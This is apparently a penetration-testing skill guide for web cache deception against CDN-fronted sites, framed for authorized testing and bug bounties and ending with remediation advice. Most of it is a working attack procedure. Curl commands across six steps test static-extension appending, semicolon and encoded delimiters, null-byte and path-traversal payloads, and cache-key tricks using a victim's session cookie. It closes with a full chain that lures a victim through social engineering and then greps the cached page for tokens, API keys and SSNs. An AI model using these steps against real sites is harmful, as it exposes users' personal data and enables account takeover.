Performing Web Cache Deception Attack

When to Use

• When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
• During assessment of authenticated page caching behavior
• When evaluating path normalization differences between caching and origin layers
• During bug bounty hunting on applications with aggressive caching policies
• When testing for sensitive data exposure through cache layer misconfiguration

Prerequisites

• Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
• Knowledge of CDN path normalization and cache key construction
• Burp Suite for intercepting and crafting requests
• Two browser sessions (authenticated victim and unauthenticated attacker)
• Understanding of URL path parsing differences across technologies
• Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Caching Layer and Behavior

# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

Step 2 — Test Path-Based Cache Deception

# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done

Step 3 — Exploit Delimiter-Based Discrepancies

# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"

Step 4 — Test Normalization Discrepancies

# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"

Step 5 — Exploit Cache Key Manipulation

# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Check if cached

# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"

Step 6 — Verify and Document the Attack

# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker

# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT

# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"

Key Concepts

Concept	Description
Cache Deception	Tricking CDN into caching authenticated dynamic content as static resource
Path Normalization	How CDN and origin differently resolve path segments (../, ;, encoded chars)
Cache Key	The identifier CDN uses to store/retrieve cached responses (typically URL path)
Static Extension Trick	Appending .css/.js/.png to dynamic URLs to trigger caching behavior
Delimiter Discrepancy	Characters (;, ?, #) interpreted differently by cache vs. origin server
Cache Poisoning vs Deception	Poisoning modifies cache for all users; deception caches specific victim data
Vary Header	HTTP header controlling which request attributes affect cache key

Tools & Systems

Tool	Purpose
Burp Suite	HTTP proxy for crafting cache deception requests
curl	Command-line testing of cache behavior and response headers
Web Cache Vulnerability Scanner	Automated tool for detecting cache deception/poisoning
Param Miner	Burp extension for discovering unkeyed cache parameters
Cloudflare Diagnostics	Analyzing CF-Cache-Status and cf-ray headers
Varnish CLI	Direct cache inspection for Varnish-based setups

Common Scenarios

1. Profile Data Theft — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs
2. API Token Exposure — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN
3. Account Takeover — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover
4. Financial Data Exposure — Cache banking or payment pages showing account balances and transaction history
5. Admin Panel Caching — Cache admin pages accessible through delimiter-based path confusion on CDN

Output Format

## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending

### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |

### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |

### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin